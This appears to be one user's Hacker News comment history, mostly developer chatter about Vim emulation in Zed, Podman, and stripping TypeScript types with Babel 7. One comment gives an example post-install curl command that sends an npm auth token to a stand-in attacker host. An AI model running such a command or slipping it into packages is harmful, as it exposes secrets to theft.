To me it has been the best "vim" that is not a real Vim. Way way better than the vscode plugin. I have used Vim and later Neovim since 2008 or so. Zed is the first non-vim I am truly happy with.
HN user
esamatti
http://twitter.com/esamatti
I've actually found the animations helpful even thought was initially skeptical: Because it visualises the vim motions it makes it much clearer what is happening. Especially if you make a mistake you'll see it much more clearly what it actually did. Also when making longer cursor jumps it is easier to see where it went.
I'm sure they will help a lot also when learning Vim for the first time.
But the be fair, the default animations are bit much but they can be toned down.
This is awesome! Thanks for sharing.
TIL, Pretty cool!
But I suppose there isn't away to run these transient services as boot because they are definition gone after they have stopped?
Anyone using Podman on a macOS? How's the experience compared to Docker Desktop?
They say they plan to support Vue and Svelte via plugins so I guess it is a thing or will be.
"In future versions, we'll be supporting Vue and Svelte via plugins."
https://turbo.build/pack/docs/features/frameworks#vue-and-sv...
Also checkout yj[1] which can convert between various formats among toml->json
Does this contain `request.formData()` and `FormData`?
https://developer.mozilla.org/en-US/docs/Web/API/Request/for... https://developer.mozilla.org/en-US/docs/Web/API/FormData
Graderjs seems to be pretty nice idea. If you are already using Chrome, Graderjs apps weight around the same as a Chrome tab compared to Electron where each app will get its own Chromium instance.
Seems like it
-------
Podman is a tool for running Linux containers. You can do this from a MacOS desktop as long as you have access to a linux box either running inside of a VM on the host, or available via the network. Podman includes a command, podman machine that automatically manages VM’s.
To start the Podman-managed VM:
podman machine init podman machine start
-------
Hash the phone number in the browser before sending it to your server. That way it is at least possible to verify via devtools what is being send.
Heck. Allow even prehashed phone number to be entered.
"sh" for python is actually pretty cool
Available as `python3-sh` in Ubuntu.
Interesting business model
----------
Experts Host Sites Here for $1/month
Do you like paying extra so other people can ask amateur questions? That's how it is at other hosting companies where beginners and experts pay the same price. Beginners drive up the cost by asking a lot of novice support questions while the experts don't contact support. That is great for amateurs, and unfair to the experts like you.
No Support Linux Hosting has a completely different business model. We ignore the support questions, and pass the savings on to you! If you are an expert who does not want to pay extra for help with amateur support issues, then you can host with us and save big money.
Experts like you can sign up now for free. We charge $1/month per website, and there is no limit to the number of websites you can host in your account. This is the best deal in the web hosting industry, as long as you are the type of person who can find his or her own answers.
-----------
From https://web.archive.org/web/20201109042643/https://www.nosup...
I guess they took savings from security too.
Other uses for the template literal types:
JSON parser https://twitter.com/buildsghost/status/1301976526603206657
This one is more realistic: Typed route params https://twitter.com/danvdk/status/1301707026507198464
Since learning Rust I wanted to learn some C to be better able to consume pure C libs or embed Rust into C apps.
Along Modern C I found these modern(ish) C books:
- C Programming: A Modern Approach, 2nd Edition by King
- 21st Century C by Ben Kelemens
- Learn C the Hard Way by Zed Shaw
Can anyone recommend some of these for my background?
Besides Rust I've mostly used Webdev languages JS (mostly TypeScript these days), Python, Ruby, PHP, some Java back in the day.
I wonder if the same method could be used to write Android Apps only with Rust?
This looks great! I've used sqlpad[1] for similar purposes which is bit more low level as it allows to write the queries in the browser directly.
I think attacker could still do this in a post install script:
curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret
If you are a Docker user, you understand that there is a daemon process that must be run to service all of your Docker commands. I can’t claim to understand the motivation behind this but I imagine it seemed like a great idea, at the time, to do all the cool things that Docker does in one place and also provide a useful API to that process for future evolution.
I guess that would be for the Windows and macOS support as it should make things easier implement in a cross platform way when you can just proxy the cli commands to a daemon running in a Linux VM even when you are on Windows or macOS?
That only uses local state. With constate you can access the state from anywhere without prop drilling.
I think Babel does excatly that if only enable the typescript-preset.
I think this is just an editor concern. It could show a list of files with type errors.
But you could just run "tsc --noEmit --watch" which will just report the project wide type errors to the console as you edit files.
Thanks. Here's the documentation about the enum issue https://github.com/babel/babel/tree/master/packages/babel-pl...
I hope that in future Typescript would take the same approach as Flow and just focus on being a good type checker on top JS.
I suspect that the new babel-preset-typescript can't quite do _just_ type-stripping can it? Since some features in TypeScript have runtime implications, those would still have to be transformed as opposed to simply stripped, correct?
I'm quite new to Typescript myself so I really don't know. At least I'm not aware of such features and don't think this Babel feature would make much sense if there were any?
EDIT: I think some of the runtime features are just TS doing ES6 to ES5 compiling. Such as "for of" loops, generators etc., but since those are just ES6 syntax they can be handled by other Babel plugins/presets or even by modern browsers directly.
Faster and simpler builds setups. And you don't really lose it as your editor will report the type errors. Flow is used like this all the time.
Tried this on a project of mine. Enums seem to work fine for me.
EDIT: There are some issues with enums indeed https://github.com/babel/babel/tree/master/packages/babel-pl...
This is possible with Typescript too with Babel 7. See my comment here https://news.ycombinator.com/item?id=15236089
It's worth noting that with upcoming Babel 7 it is possible to strip Typescript types like with Flow and use it just as a typechecker/linter [1]. This means following things:
- You don't need ts-loader/at-loader with Webpack anymore. You'll lose typechecking during webpack build but you can run it as separate step. Your editor will show them as usual still.
- You can use all the Babel plugins with Typescript without running two compilers (should speed things up)
- Should add first class support for React Native as it uses Babel (or at least no more 2-step builds)
[1] http://babeljs.io/blog/2017/09/12/planning-for-7.0#typescrip...
EDIT: For the curious here's my build configuration with Webpack demoing this with extra plugins https://gist.github.com/epeli/bb8ae386f9dbb2a4ae2159e1f265fd...
It's at Stage 1 https://github.com/tc39/proposal-optional-chaining
and babel plugin is coming here https://github.com/babel/babel/pull/5813
https://npmcdn.com/ seems similar
Remember the full web framework on Bash? Bash on Balls!
https://github.com/jneen/balls
I just love the name :)
Discussion https://news.ycombinator.com/item?id=2781019